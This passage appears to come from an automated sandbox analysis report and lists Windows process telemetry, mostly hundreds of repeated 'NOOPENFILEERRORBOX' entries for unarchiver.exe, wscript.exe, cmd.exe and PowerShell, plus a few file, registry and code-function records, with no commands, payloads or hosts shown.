Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 39_2_0803EA80 pushfd ; ret	39_2_0803EC7E
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 39_2_0803F372 pushfd ; ret	39_2_0803F386

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Local\Temp\4724_1438030691\LICENSE.txt

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\wscript.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
